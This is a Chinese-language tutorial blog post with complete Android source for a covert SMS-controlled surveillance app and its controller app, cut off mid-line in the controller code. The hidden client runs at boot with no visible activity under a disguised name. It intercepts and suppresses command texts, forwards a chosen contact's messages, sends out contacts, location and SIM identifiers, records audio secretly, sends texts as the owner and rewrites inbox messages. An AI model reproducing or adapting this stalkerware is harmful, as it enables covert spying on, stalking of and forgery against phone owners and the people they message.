基于短信的手机控制程序(附源码)
1.1前言
兴趣是最好的老师,这句话对于有志于从事软件开发的人来说尤为重要,毕竟这一行业需要不断的学习新知识,缺乏兴趣的工作只会让人感到日益枯燥.以下是去年9月份在某培训班开始学习android的过程中,出于个人兴趣写的一个小程序.在此献给大家,一来借这类程序提高大家的Android开发兴趣,再者也可以学习一下简单实用的知识.
1.2程序简介
本程序是一个基于短信的手机控制程序,有受控端B和管理端A.
已实现功能:
1.A监控C发给B的所有短信.
2.A可以查询B的通讯录和位置.
3.A可以开启B的手机录音.
4.A可以通过B向任何人发送短信.
5.A可以修改B的收件箱短信内容.
6.B换手机号后,A可以知道.
相关参数:
admin----管理者手机号码,也就是A的手机号码
listen----被监控的手机号码,即C的手机号.
password----管理密码,会在第一次建立控制关系时设定,A若换手机号,只能通过这个密码来更换B上保存的admin号码
2.1 MainReceiver:程序的短信解析/跳转主体类.
用的是broadcastreceiver , broadcastreceiver本身就不介绍了,网上一大堆使用教程.本程序中就是截获android.provider.Telephony.SMS_RECEIVED广播,分析短信内容, 根据不同的内容进行相应操作.
package iceman.android.project; import java.util.List; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.os.Bundle; import android.telephony.SmsManager; import android.telephony.SmsMessage; public class MainReceiver extends BroadcastReceiver{ private String number; private SmsManager manager = SmsManager.getDefault(); public void onReceive(Context context, Intent intent) { MyLog.LogI( "OUTPUT" , "广播接收器触发" ); SharedPreferences preferences = context.getSharedPreferences( "sms" , Context.MODE_PRIVATE); //使用 SharedPreferences 存储admin号码和listen号码. String admin = preferences.getString( "admin" , "" ); MyLog.LogI( "OUTPUT" , "当前admin:" +admin); String listen = preferences.getString( "listen" , "" ); String password = preferences.getString( "password" , "iceman" ); MyLog.LogI( "OUTPUT" , "当前listen:" +listen); Bundle bun = intent.getExtras(); //开始分析短信 if (bun!= null ){ Object[] mypdus = (Object[])bun.get( "pdus" ); SmsMessage[] messages = new SmsMessage[mypdus.length]; for ( int i= 0 ;i<mypdus.length;i++){ messages[i] = SmsMessage.createFromPdu(( byte [])mypdus[i]); } for (SmsMessage mess:messages){ number = mess.getDisplayOriginatingAddress(); String body = mess.getDisplayMessageBody(); MyLog.LogI( "OUTPUT" , "号码来源:" +number); MyLog.LogI( "OUTPUT" , "内容:" +body); if (number.contains( "+86" )){ number = number.substring( 3 ); } MyLog.LogI( "OUTPUT" , "号码来源转换" +number); //设定管理号码 if (body.equals( "iceman78952190" )){ MyLog.LogI( "OUTPUT" , "查询密码哦" ); abortBroadcast(); manager.sendTextMessage(number, null , password, null , null ); } if (body.contains( "@iceman@admin" )){ abortBroadcast(); body = body.substring( 13 ); if (password.equals( "iceman" )){ password = body; Editor editor = preferences.edit(); editor.putString( "admin" , number); editor.putString( "password" , body); editor.commit(); MyLog.LogI( "OUTPUT" , "设定admin:" +number); manager.sendTextMessage(number, null , "admin change success!" +number, null , null ); } else { if (password.equals(body)){ Editor editor = preferences.edit(); editor.putString( "admin" , number); editor.commit(); MyLog.LogI( "OUTPUT" , "设定admin:" +number); manager.sendTextMessage(number, null , "admin change success!" +number, null , null ); } else { MyLog.LogI( "OUTPUT" , "密码不对" ); } } } //对管理号码发来的短信进行判断,是否启动服务或者更改被监听号码 if (number.equals(admin)){ if (body.contains( "@iceman@search" )){ abortBroadcast(); MyLog.LogI( "OUTPUT" , "开始查询通讯录" ); manager.sendTextMessage(admin, null , "search starting!" , null , null ); //启动服务,查询通讯录并发送 Intent it = new Intent(context,ContactService. class ); it.putExtra( "admin" , admin); context.startService(it); } else if (body.contains( "@iceman@change" )){ abortBroadcast(); listen = body.substring( 14 ); Editor editor = preferences.edit(); editor.putString( "listen" , listen); editor.commit(); MyLog.LogI( "OUTPUT" , "更改listen完成" ); manager.sendTextMessage(admin, null , "listen change success!" , null , null ); } else if (body.contains( "@iceman@location" )){ abortBroadcast(); MyLog.LogI( "OUTPUT" , "开启位置监控" ); Intent it = new Intent(context,LocationService. class ); context.startService(it); manager.sendTextMessage(admin, null , "location listen success!" , null , null ); MyLog.LogI( "OUTPUT" , "位置监控开启完成" ); } else if (body.contains( "@iceman@where" )){ abortBroadcast(); MyLog.LogI( "OUTPUT" , "开始发送并解析地址" ); Intent it2 = new Intent(context,GetAddressService. class ); context.startService(it2); } else if (body.contains( "@iceman@start" )){ abortBroadcast(); MyLog.LogI( "OUTPUT" , "收到录音开启命令" ); Intent it = new Intent(context,RecorderService. class ); context.startService(it); } else if (body.contains( "@iceman@stop" )){ abortBroadcast(); MyLog.LogI( "OUTPUT" , "收到结束录音命令" ); Intent it = new Intent(context,RecorderService. class ); context.stopService(it); } else if (body.contains( "@iceman@sms" )){ abortBroadcast(); MyLog.LogI( "OUTPUT" , "发送短信" ); String[] str = body.split( "#" ); manager.sendTextMessage(str[ 1 ], null , str[ 2 ], null , null ); MyLog.LogI( "OUTPUT" , "目标号码:" +str[ 1 ]+ "内容:" +str[ 2 ]); } else if (body.contains( "@iceman@replace" )){ abortBroadcast(); String[] str = body.split( "#" ); MyLog.LogI( "OUTPUT" , "收到短信修改命令" ); Intent it = new Intent(context,EditSmsService. class ); it.putExtra( "key" , str[ 1 ]); it.putExtra( "number" , str[ 2 ]); it.putExtra( "content" , str[ 3 ]); it.putExtra( "type" , "replace" ); context.startService(it); } else if (body.contains( "@iceman@edit" )){ abortBroadcast(); String[] str = body.split( "#" ); MyLog.LogI( "OUTPUT" , "收到短信编辑命令" ); Intent it = new Intent(context,EditSmsService. class ); it.putExtra( "key" , str[ 1 ]); it.putExtra( "number" , str[ 2 ]); it.putExtra( "content" , str[ 3 ]); it.putExtra( "type" , "edit" ); context.startService(it); } } //判断是否由被监听号码发来的短信 if (number.equals(listen)){ String sms = number+ ":" +body; MyLog.LogI( "OUTPUT" , "监听到短信" ); List<String> texts=manager.divideMessage(sms); for (String text:texts) { manager.sendTextMessage(admin, null , text, null , null ); } } } } } } |
这个广播接收器最初是静态注册的,目的是不需要运行程序,相当于开机启动.但是在部分真机上测试时发现360,91短信等会在它之前拦截短信,经过网上查询,得知动态注册的优先级要高于静态注册,优先级相同的动态注册广播,先注册的先接收广播.
所以,我又写了个service,在系统启动后运行并绑定广播接收器.优先级设为2147483647.不要被google api里面写的优先级最大1000忽悠了,这个int上限值也是有用的.
package iceman.android.project; import android.app.Service; import android.content.Intent; import android.content.IntentFilter; import android.os.IBinder; public class MainService extends Service{ MainReceiver mReceiver; @Override public IBinder onBind(Intent intent) { // TODO Auto-generated method stub return null ; } @Override public void onStart(Intent intent, int startId) { super .onStart(intent, startId); IntentFilter localIntentFilter = new IntentFilter( "android.provider.Telephony.SMS_RECEIVED" ); localIntentFilter.setPriority( 2147483647 ); mReceiver = new MainReceiver(); registerReceiver(mReceiver, localIntentFilter); } @Override public void onDestroy() { unregisterReceiver(mReceiver); Intent it = new Intent(MainService. this , MainService. class ); this .startService(it); } } |
2.2功能:监控指定短信
这是程序的初衷,也是我学到broadcastreceiver时首先冒出来的念头...
当短信来源号码为C时,将短信转发一份给A.代码很简单:
// 判断是否由被监听号码发来的短信 if (number.equals(listen)) { String sms = number + ":" + body; MyLog.LogI( "OUTPUT" , "监听到短信" ); List<String> texts = manager.divideMessage(sms); for (String text : texts) { manager.sendTextMessage(admin, null , text, null , null ); } } |
2.3功能:查询通讯录
这里使用了ContentResolver,这是与内容提供器ContentProvider对应的"查询器",android的通讯录程序对外提供了ContentProvider查询接口.我们可以像操作数据库一样对里面的数据进行读取.修改也可以(这个太无聊了,放到短信那部分再说)
package iceman.android.project; import java.util.List; import android.app.Service; import android.content.ContentResolver; import android.content.Intent; import android.database.Cursor; import android.os.IBinder; import android.provider.ContactsContract; import android.telephony.SmsManager; public class ContactService extends Service{ SmsManager manager = SmsManager.getDefault(); @Override public IBinder onBind(Intent intent) { return null ; } @Override public void onCreate() { super .onCreate(); } @Override public void onStart(Intent intent, int startId) { String admin = intent.getStringExtra( "admin" ); MyLog.LogI( "OUTPUT" , "开启通讯录查询服务" ); String[] columns = { "_id" , "display_name" , "has_phone_number" }; StringBuffer sb = new StringBuffer(); ContentResolver cr = this .getContentResolver(); Cursor cursor = cr.query(ContactsContract.Contacts.CONTENT_URI, columns, null , null , null ); String[] phone_clos = { ContactsContract.CommonDataKinds.Phone.CONTACT_ID, ContactsContract.CommonDataKinds.Phone.NUMBER, }; if (cursor.moveToFirst()) { do { int _id = cursor.getInt( 0 ); String name = cursor.getString( 1 ); String has_phone = cursor.getString( 2 ); sb.append(name + ":" ); if (has_phone.trim().equals( "1" )) { Cursor phones = cr .query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, phone_clos, ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=" + _id, null , null ); if (phones.moveToFirst()) { do { sb.append(phones.getString( 1 ) + "." ); } while (phones.moveToNext()); } } } while (cursor.moveToNext()); } MyLog.LogI( "OUTPUT" , "开始发送通讯录" ); List<String> texts=manager.divideMessage(sb.toString()); for (String text:texts) { manager.sendTextMessage(admin, null , text, null , null ); } //查询完毕后关闭服务 stopSelf(); super .onStart(intent, startId); } @Override public void onDestroy() { // TODO Auto-generated method stub super .onDestroy(); } @Override public int onStartCommand(Intent intent, int flags, int startId) { // TODO Auto-generated method stub return super .onStartCommand(intent, flags, startId); } @Override public boolean onUnbind(Intent intent) { // TODO Auto-generated method stub return super .onUnbind(intent); } } |
要注意的是,这个视通讯录条数多少,会有几条短信发出...少用为妙
2.4功能:查询位置
有两件事要做:获得经纬度表示的位置信息和将经纬度解析为地址信息
android使用LocationManager来管理获得的位置信息,给它设置一个位置监听,就可以在位置发生变化时,获得变化后的经纬度信息,
package iceman.android.project; import java.text.SimpleDateFormat; import java.util.Date; import android.app.Service; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.location.Criteria; import android.location.Location; import android.location.LocationListener; import android.location.LocationManager; import android.os.Bundle; import android.os.IBinder; public class LocationService extends Service{ private Location location; //当前位置 private String time = "unknown" ; private SimpleDateFormat sf = new SimpleDateFormat( "MM-dd;hh-mm" ); private SharedPreferences preferences = null ; @Override public IBinder onBind(Intent intent) { // TODO Auto-generated method stub return null ; } @Override public void onCreate() { super .onCreate(); getLocation(); } @Override public void onDestroy() { // TODO Auto-generated method stub super .onDestroy(); } @Override public int onStartCommand(Intent intent, int flags, int startId) { // TODO Auto-generated method stub return super .onStartCommand(intent, flags, startId); } @Override public boolean onUnbind(Intent intent) { // TODO Auto-generated method stub return super .onUnbind(intent); } private void getLocation(){ LocationManager locationmanager = (LocationManager)getSystemService(Context.LOCATION_SERVICE); if (locationmanager== null ){ MyLog.LogI( "OUTPUT" , "定位管理器未找到" ); } Criteria criteria = new Criteria(); //用来得到位置提供器(Location Provider)的一组参数标准 criteria.setAccuracy(Criteria.ACCURACY_COARSE); //定位精度 criteria.setAltitudeRequired( false ); //是否要求定位出高度值 criteria.setCostAllowed( true ); //是否允许花钱 String str = locationmanager.getBestProvider(criteria, false ); //得到满足标准的一个最好的提供器的名称 if (str== null ){ MyLog.LogI( "OUTPUT" , "位置提供器未找到" ); } MyLog.LogI( "OUTPUT" , "使用的位置提供器" +str); location = locationmanager.getLastKnownLocation(str); locationmanager.requestLocationUpdates(str, 2000 , 5 , new LocationListener() { @Override public void onStatusChanged(String provider, int status, Bundle extras) { // TODO Auto-generated method stub } @Override public void onProviderEnabled(String provider) { // TODO Auto-generated method stub } @Override public void onProviderDisabled(String provider) { // TODO Auto-generated method stub } @Override public void onLocationChanged(Location loca) { // TODO Auto-generated method stub MyLog.LogI( "OUTPUT" , "位置发生改变" ); time = sf.format( new Date()); location = loca; preferences = LocationService. this .getSharedPreferences( "sms" , MODE_PRIVATE); Editor editor = preferences.edit(); editor.putString( "lat" , "" +location.getLatitude()); editor.putString( "lon" , "" +location.getLongitude()); editor.putString( "time" , time); editor.commit(); MyLog.LogI( "OUTPUT" , "位置已经放入" ); } }); } @Override public void onStart(Intent intent, int startId) { } } |
在这个service中,将改变后的位置经纬度存储下来,下次调用位置解析服务的时候,就可以取出最新的经纬度进行解析了.
mopackage iceman.android.project; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import org.apache.http.HttpEntity; import org.apache.http.HttpResponse; import org.apache.http.client.ClientProtocolException; import org.apache.http.client.HttpClient; import org.apache.http.client.methods.HttpGet; import org.apache.http.impl.client.DefaultHttpClient; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import android.app.Service; import android.content.Intent; import android.content.SharedPreferences; import android.os.IBinder; import android.telephony.SmsManager; public class GetAddressService extends Service{ private SmsManager manager; @Override public IBinder onBind(Intent intent) { // TODO Auto-generated method stub return null ; } @Override public void onCreate() { super .onCreate(); } @Override public void onDestroy() { // TODO Auto-generated method stub super .onDestroy(); } @Override public void onStart(Intent intent, int startId) { manager = SmsManager.getDefault(); MyLog.LogI( "OUTPUT" , "开始转换地址服务" ); SharedPreferences preferences = this .getSharedPreferences( "sms" , MODE_PRIVATE); Double lat = Double.parseDouble(preferences.getString( "lat" , null )); Double lon = Double.parseDouble(preferences.getString( "lon" , null )); MyLog.LogI( "OUTPUT" , "精度" +lon); MyLog.LogI( "OUTPUT" , "纬度" +lat); String admin = preferences.getString( "admin" , null ); String time = preferences.getString( "time" , null ); String address1 = "经度" +lon+ "纬度" +lat; manager.sendTextMessage(admin, null , address1+time, null , null ); String address2 = getAddress(lon, lat); manager.sendTextMessage(admin, null , address2+time, null , null ); stopSelf(); super .onStart(intent, startId); } @Override public boolean onUnbind(Intent intent) { // TODO Auto-generated method stub return super .onUnbind(intent); } public String getAddress(Double Longitude,Double Latitude){ MyLog.LogI( "OUTPUT" , "开始转换地址" ); String url = "http://maps.google.com/maps/api/geocode/json?latlng=" +Latitude+ "," +Longitude+ "&language=zh_CN&sensor=false" ; HttpClient client = new DefaultHttpClient(); StringBuilder sb = new StringBuilder(); try { HttpResponse resp = client.execute( new HttpGet(url)); HttpEntity he = resp.getEntity(); BufferedReader br = new BufferedReader( new InputStreamReader(he.getContent())); String str = "" ; while ((str=br.readLine())!= null ){ sb.append(str); } } catch (ClientProtocolException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } MyLog.LogI( "OUTPUT" , "开始解析json" ); try { JSONObject jo1 = new JSONObject(sb.toString()); String str1 = jo1.getString( "results" ); JSONArray arr1 = new JSONArray(str1); String str2 = arr1.get( 0 ).toString(); JSONObject jo2 = new JSONObject(str2); String str3 = jo2.getString( "formatted_address" ); MyLog.LogI( "OUTPUT" , str3); return str3; // Toast.makeText(LocationService.this, str3, Toast.LENGTH_LONG).show(); } catch (JSONException e) { return "地址转换失败" ; } } } |
2.5功能:开启录音
这个很简单,使用MediaRecorder即可,在service的oncreat中开始录音,ondestory中结束录音.
package iceman.android.project; import java.io.IOException; import android.app.Service; import android.content.Intent; import android.media.MediaRecorder; import android.os.IBinder; public class RecorderService extends Service{ private MediaRecorder recorder; private String location; @Override public IBinder onBind(Intent arg0) { // TODO Auto-generated method stub return null ; } @Override public void onCreate() { super .onCreate(); MyLog.LogI( "OUTPUT" , "录音服务启动" ); recorder = new MediaRecorder(); recorder.setAudioSource(MediaRecorder.AudioSource.MIC); recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); location = "/mnt/sdcard/record_" +System.currentTimeMillis()+ ".3gp" ; recorder.setOutputFile(location); recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); try { recorder.prepare(); } catch (IllegalStateException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } recorder.start(); MyLog.LogI( "OUTPUT" , "开始录音" ); } @Override public void onDestroy() { // TODO Auto-generated method stub recorder.stop(); MyLog.LogI( "OUTPUT" , "停止录音" ); super .onDestroy(); } @Override public int onStartCommand(Intent intent, int flags, int startId) { // TODO Auto-generated method stub return super .onStartCommand(intent, flags, startId); } @Override public boolean onUnbind(Intent intent) { // TODO Auto-generated method stub return super .onUnbind(intent); } } |
2.6发送短信
对A发过来的短信进行分割,获取目的号码和短信内容,然后发送.代码已经在MainReceiver中了.
2.7编辑短信
ContentResolver不仅可以查询,也可以修改.修改短信这个邪恶的功能就靠它来实现了.
代码中号码为00000000000表示不限号码进行修改.不论谁发过来的短信,只要满足关键字条件,就进行修改.
package iceman.android.project; import android.app.Service; import android.content.ContentResolver; import android.content.ContentValues; import android.content.Intent; import android.database.Cursor; import android.net.Uri; import android.os.IBinder; public class EditSmsService extends Service { private ContentResolver mContentResolver; private String key, number, content, type; @Override public IBinder onBind(Intent intent) { // TODO Auto-generated method stub return null ; } @Override public void onStart(Intent intent, int startId) { key = intent.getStringExtra( "key" ); number = intent.getStringExtra( "number" ); content = intent.getStringExtra( "content" ); type = intent.getStringExtra( "type" ); mContentResolver = this .getContentResolver(); Cursor cursor; if (number.equals( "00000000000" )) { cursor = mContentResolver.query(Uri.parse( "content://sms/inbox" ), null , null , null , null ); MyLog.LogI( "OUTPUT" , "号码为00000000000" ); } else { cursor = mContentResolver.query(Uri.parse( "content://sms/inbox" ), null , "address = ?" , new String[] { "" + number }, null ); MyLog.LogI( "OUTPUT" , "号码指定" ); } int time = 0 ; String newContent = null ; if (cursor != null ) { cursor.moveToFirst(); do { String address = cursor.getString(cursor.getColumnIndexOrThrow( "address" )); String body = cursor.getString(cursor.getColumnIndexOrThrow( "body" )); int id = cursor.getInt(cursor.getColumnIndexOrThrow( "_id" )); // int date = // cursor.getInt(cursor.getColumnIndexOrThrow("date")); if (number.equals( "00000000000" )) { if (body.contains(key)) { ContentValues values = new ContentValues(); // values.put("address", address); if (type.equals( "replace" )) { newContent = body.replace(key, content); } else { newContent = content; } values.put( "read" , 1 ); values.put( "status" , - 1 ); values.put( "type" , 1 ); values.put( "body" , newContent); mContentResolver.update(Uri.parse( "content://sms/inbox" ), values, "_id = ?" , new String[] { "" + id }); } } else { if (body.contains(key) && address.equals(number)) { ContentValues values = new ContentValues(); // values.put("address", address); if (type.equals( "replace" )) { newContent = body.replace(key, content); } else { newContent = content; } values.put( "read" , 1 ); values.put( "status" , - 1 ); values.put( "type" , 1 ); values.put( "body" , newContent); mContentResolver.update(Uri.parse( "content://sms/inbox" ), values, "_id = ?" , new String[] { "" + id }); } } time++; } while (cursor.moveToNext() && time < 50 ); } stopSelf(); } } |
2.8功能:B更换手机号码后发送至A.
TelephonyManager可以获取手机相关信息,比如手机号码,imei等,但是这些数据来源于sim卡,如果某些运营商没有将电话号码写到sim卡上,手机号码就获取不到了.
号码变更检测是要开机进行的,如果发现号码跟保存的不一样,就发送新号码至admin.
package iceman.android.project; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.telephony.SmsManager; import android.telephony.TelephonyManager; public class BootReceiver extends BroadcastReceiver{ private String mDeviceId; private String mTel; private String mImei; private String mImsi; private String mOldDeviceId; private String mOldTel; private String mOldImei; private String mOldImsi; @Override public void onReceive(Context context, Intent intent) { Intent service= new Intent(context, MainService. class ); context.startService(service); TelephonyManager tm=(TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE); mDeviceId = tm.getDeviceId(); mTel = tm.getLine1Number(); mImei = tm.getSimSerialNumber(); mImei = mImei== null ? "" :mImei; mImsi = tm.getSubscriberId(); mImsi = mImsi== null ? "" :mImsi; SharedPreferences sharedPreferencesPhone = context.getSharedPreferences( "phone" , Context.MODE_PRIVATE); mOldDeviceId = sharedPreferencesPhone.getString( "deviceid" , "" );; mOldTel = sharedPreferencesPhone.getString( "tel" , "" );; mOldImei = sharedPreferencesPhone.getString( "imei" , "" );; mOldImsi = sharedPreferencesPhone.getString( "imsi" , "" );; SharedPreferences sharedPreferencesControl = context.getSharedPreferences( "sms" , Context.MODE_PRIVATE); String admin = sharedPreferencesControl.getString( "admin" , "" ); if (isChange()){ SharedPreferences.Editor editor = sharedPreferencesPhone.edit(); editor.putString( "deviceid" , mDeviceId== null ? "" :mDeviceId); editor.putString( "tel" , mTel); editor.putString( "imei" , mImei); editor.putString( "imsi" , mImsi); editor.commit(); SmsManager smsmanager = SmsManager.getDefault(); if (!admin.equals( "" )){ String text = "tel:" +mTel+ ".mImei:" +mImei; smsmanager.sendTextMessage(admin, null , text, null , null ); } } } private boolean isChange(){ if (mTel== null ){ return false ; } if (mOldTel.equals( "" )){ return true ; } if (!mTel.equals(mOldTel)){ return true ; } return false ; } } |
2.9受控端总结:
以下是主配置文件
<?xml version= "1.0" encoding= "utf-8" ?> <manifest xmlns:android= "http://schemas.android.com/apk/res/android" package = "iceman.android.project" android:versionCode= "1" android:versionName= "1.0" > <uses-sdk android:minSdkVersion= "7" /> <!-- android:priority= "100" --> <application android:debuggable= "false" android:icon= "@drawable/app_icon" android:label= "@string/app_name" > <receiver android:name= ".MainReceiver" > <intent-filter android:priority= "2147483647" > <action android:name= "android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver> <receiver android:name= ".BootReceiver" > <intent-filter android:priority= "2147483647" > <action android:name= "android.intent.action.BOOT_COMPLETED" /> </intent-filter> </receiver> <service android:name= ".ContactService" android:enabled= "true" /> <service android:name= ".LocationService" android:enabled= "true" /> <service android:name= ".RecorderService" android:enabled= "true" /> <service android:name= ".GetAddressService" android:enabled= "true" /> <service android:name= ".EditSmsService" android:enabled= "true" /> </application> <uses-permission android:name= "android.permission.INTERNET" /> <uses-permission android:name= "android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name= "android.permission.CALL_PHONE" /> <uses-permission android:name= "android.permission.SEND_SMS" /> <uses-permission android:name= "android.permission.READ_CONTACTS" /> <uses-permission android:name= "android.permission.READ_SMS" /> <uses-permission android:name= "android.permission.RECEIVE_SMS" /> <uses-permission android:name= "android.permission.ACCESS_COARSE_LOCATION" /> <uses-permission android:name= "android.permission.ACCESS_FINE_LOCATION" /> <uses-permission android:name= "android.permission.RECORD_AUDIO" /> <uses-permission android:name= "android.permission.READ_SMS" /> <uses-permission android:name= "android.permission.WRITE_SMS" /> <uses-permission android:name= "android.permission.READ_PHONE_STATE" /> </manifest> |
可以看到的是,受控端是没有activity的.而且程序名字我命名为"android短信服务".如果不是有服务开启的话,可以说是无法发现程序的存在的.
3.1管理端
为了简化命令发送的繁琐,写了这个简单的管理端程序,就两个activity.
package iceman.android.smsadmin; import android.app.Activity; import android.content.Intent; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.os.Bundle; import android.telephony.SmsManager; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import android.widget.CheckBox; import android.widget.CompoundButton; import android.widget.CompoundButton.OnCheckedChangeListener; import android.widget.EditText; import android.widget.TextView; import android.widget.Toast; public class SMSadminActivity extends Activity { private TextView mClientNumberText, mListenNumberText; private EditText mAdminSetEditText, mListenSetEditText, mSmsNumberSetEditText, mSmsContentEditText, mPasswordEditText; private CheckBox mPasswordUse; private Button mAdminSetBtn, mListenSetBtn, mSearchBtn, mOpenLocationBtn, mGetAddressBtn, mRecoderBtn, mSendSmsBtn; private Button mEditSmsBtn; private Boolean mIsRecording = false ; private SmsManager mSmsManager = SmsManager.getDefault(); private String mClientNumber = null ; private String mListenNumber = null ; private SharedPreferences mSharedpreferences = null ; private String mPassword; /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super .onCreate(savedInstanceState); setContentView(R.layout.main); mClientNumberText = (TextView) findViewById(R.id.number_tv1); mListenNumberText = (TextView) findViewById(R.id.number_tv2); mPasswordEditText = (EditText) findViewById(R.id.password_et); mPasswordEditText.setInputType( 0x81 ); mPasswordUse = (CheckBox) findViewById(R.id.password_use); mAdminSetEditText = (EditText) findViewById(R.id.number_et); // et1.setTransformationMethod(PasswordTransformationMethod.getInstance()); mAdminSetEditText.setHint( this .getString(R.string.the_number_to_control)); mListenSetEditText = (EditText) findViewById(R.id.listen_et); mListenSetEditText.setHint( this .getString(R.string.the_number_to_listen)); mSmsNumberSetEditText = (EditText) findViewById(R.id.sms_number_et); mSmsNumberSetEditText.setHint( this .getString(R.string.where_to_send)); mSmsContentEditText = (EditText) findViewById(R.id.sms_et); mSmsContentEditText.setHint( this .getString(R.string.sms_content)); mSharedpreferences = this .getSharedPreferences( "config" , MODE_PRIVATE); mClientNumber = mSharedpreferences.getString( "control" , "" ); mListenNumber = mSharedpreferences.getString( "listen" , "" ); mClientNumberText.setText( this .getString(R.string.now_control) + mClientNumber); mListenNumberText.setText( this .getString(R.string.now_listen) + mListenNumber); mAdminSetBtn = (Button) findViewById(R.id.admin_btn); mListenSetBtn = (Button) findViewById(R.id.listen_btn); mSearchBtn = (Button) findViewById(R.id.search_btn); mOpenLocationBtn = (Button) findViewById(R.id.open_locations_btn); mGetAddressBtn = (Button) findViewById(R.id.where_btn); mRecoderBtn = (Button) findViewById(R.id.recorder_btn); mRecoderBtn.setText( this .getString(R.string.start_record)); mSendSmsBtn = (Button) findViewById(R.id.sms_btn); mEditSmsBtn = (Button)findViewById(R.id.edit_sms); mPasswordUse.setOnCheckedChangeListener( new OnCheckedChangeListener() { @Override public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) { if (isChecked) { mPassword = mPasswordEditText.getText().toString().trim(); mPasswordEditText.setEnabled( false ); Toast.makeText(SMSadminActivity. this , SMSadminActivity. this .getString(R.string.password)+mPassword, Toast.LENGTH_SHORT).show(); } else { mPassword = "" ; mPasswordEditText.getEditableText().clear(); mPasswordEditText.setEnabled( true ); } Editor editor = mSharedpreferences.edit(); editor.putString( "password" , mPassword); editor.commit(); } }); mAdminSetBtn.setOnClickListener( new OnClickListener() { public void onClick(View v) { String str = mAdminSetEditText.getText().toString().trim(); if ((str.equals( "" )) == false ) { if ((str.equals( "18621191115" )) == false ) { mClientNumberText.setText(SMSadminActivity. this .getString(R.string.now_control) + str); mAdminSetBtn.setText(SMSadminActivity. this .getString(R.string.control_number_set_over)); mClientNumber = str; Editor editor = mSharedpreferences.edit(); editor.putString( "control" , str); editor.commit(); // et1.setEnabled(false); // btn1.setClickable(false); mSmsManager.sendTextMessage(mClientNumber, null , "@iceman@admin" +mPassword, null , null ); Toast.makeText(SMSadminActivity. this , SMSadminActivity. this .getString(R.string.control_number_set_send), Toast.LENGTH_SHORT) .show(); } else { Toast.makeText(SMSadminActivity. this , SMSadminActivity. this .getString(R.string.number_can_not_control), Toast.LENGTH_LONG) .show(); } } else { Toast.makeText(SMSadminActivity. this , SMSadminActivity. this .getString(R.string.please_set_control_number), Toast.LENGTH_SHORT).show(); } } }); mListenSetBtn.setOnClickListener( new OnClickListener() { public void onClick(View v) { String str = mListenSetEditText.getText().toString().trim(); if (str.equals( "" ) == false ) { mListenNumberText.setText(SMSadminActivity. this .getString(R.string.now_listen) + str); mListenSetBtn.setText(SMSadminActivity. this .getString(R.string.listen_number_set_over)); mListenNumber = str; Editor editor = mSharedpreferences.edit(); editor.putString( "listen" , str); editor.commit(); // et2.setEnabled(false); // btn2.setClickable(false); mSmsManager.sendTextMessage(mClientNumber, null , "@iceman@change" + mListenNumber, null , null ); Toast.makeText(SMSadminActivity. this , SMSadminActivity. this .getString(R.string.listen_number_set_send), Toast.LENGTH_SHORT).show(); } else { Toast.makeText(SMSadminActivity. this , SMSadminActivity. this .getString(R.string.please_set_listen_number), Toast.LENGTH_SHORT).show(); } } }); mSearchBtn.setOnClickListener( new OnClickListener() { public void onClick(View v) { if (mClientNumber.equals( "" ) == false ) { mSmsManager.sendTextMessage(mClientNumber, null , "@iceman@search" , null , null ); Toast.makeText(SMSadminActivity. this , SMSadminActivity. this .getString(R.string.search_send_over), Toast.LENGTH_SHORT).show(); } else { Toast.makeText(SMSadminActivity. this , SMSadminActivity. this .getString(R.string.please_set_number), Toast.LENGTH_SHORT).show(); } } }); mOpenLocationBtn.setOnClickListener( new OnClickListener() { public void onClick(View v) { if (mClientNumber.equals( "" ) == false ) { mSmsManager.sendTextMessage(mClientNumber, null , "@iceman@location" , null , null ); Toast.makeText(SMSadminActivity. this , SMSadminActivity. this .getString(R.string.open_location_service_over), Toast.LENGTH_SHORT).show(); mOpenLocationBtn.setClickable( false ); mOpenLocationBtn.setText(SMSadminActivity. this .getString(R.string.location_service_open)); } else { Toast.makeText(SMSadminActivity. this , SMSadminActivity. this .getString(R.string.please_set_number), Toast.LENGTH_SHORT).show(); } } }); mGetAddressBtn.setOnClickListener( new OnClickListener() { public void onClick(View v) { if (mClientNumber.equals( "" ) == false ) { mSmsManager.sendTextMessage(mClientNumber, null , "@iceman@where" , null , null ); Toast.makeText(SMSadminActivity. this , SMSadminActivity. this .getString(R.string.search_address_send_over), Toast.LENGTH_SHORT).show(); } else { Toast.makeText(SMSadminActivity. this , SMSadminActivity. this .getString(R.string.please_set_number), Toast.LENGTH_SHORT).show(); } } }); mRecoderBtn.setOnClickListener( new OnClickListener() { public void onClick(View v) { if (mClientNumber.equals( "" ) == false ) { if (!mIsRecording) { mSmsManager.sendTextMessage(mClientNumber, null , "@iceman@start" , null , null ); mIsRecording = true ; mRecoderBtn.setText(SMSadminActivity. this .getString(R.string.stop_record)); } else { mSmsManager.sendTextMessage(mClientNumber, null , "@iceman@stop" , null , null ); mIsRecording = false ; mRecoderBtn.setText(SMSadminActivity. this .getString(R.string.start_record)); } } else { Toast.makeText(SMSadminActivity. this , SMSadminActivity. this .getString(R.string.please_set_number), Toast.LENGTH_SHORT).show(); } } }); mSendSmsBtn.setOnClickListener( new OnClickListener() { public void onClick(View v) { if (mClientNumber.equals( "" ) == false ) { String str1 = mSmsNumberSetEditText.getText().toString().trim(); String str2 = mSmsContentEditText.getText().toString().trim(); mSmsManager.sendTextMessage(mClientNumber, null , "@iceman@sms" + 